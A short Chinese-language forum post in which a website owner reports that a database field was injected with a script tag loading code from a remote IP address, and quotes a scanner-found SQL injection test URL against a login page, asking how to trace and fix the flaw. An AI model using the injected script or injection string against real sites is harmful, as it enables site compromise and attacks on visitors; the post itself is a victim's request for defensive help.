数据库字段被注如木马脚本<scripT>,请老手帮忙

本来是法人代表的字段项目,在信息编辑页出现法人代表:张三<scripT src=http://220.231.180.83:60000/ads_fei1.php?REFERER=http://www.sry4ttft64.com></scripT>被黑之前数据显示应该是
法人代表:张三通过iiscan检查发现很多sql injection
例如 http://www.xxxxx.com:80/mingonguser/logininfo.asp?UserPassword_hu=hacker&verifycode=1234&Submit=%E6%8F%90%E4%BA%A4&DengLuYongHuMing=88888%00'请问各位大侠该从那里找漏洞源头,和彻底解决问题呢?
感谢高手门来帮忙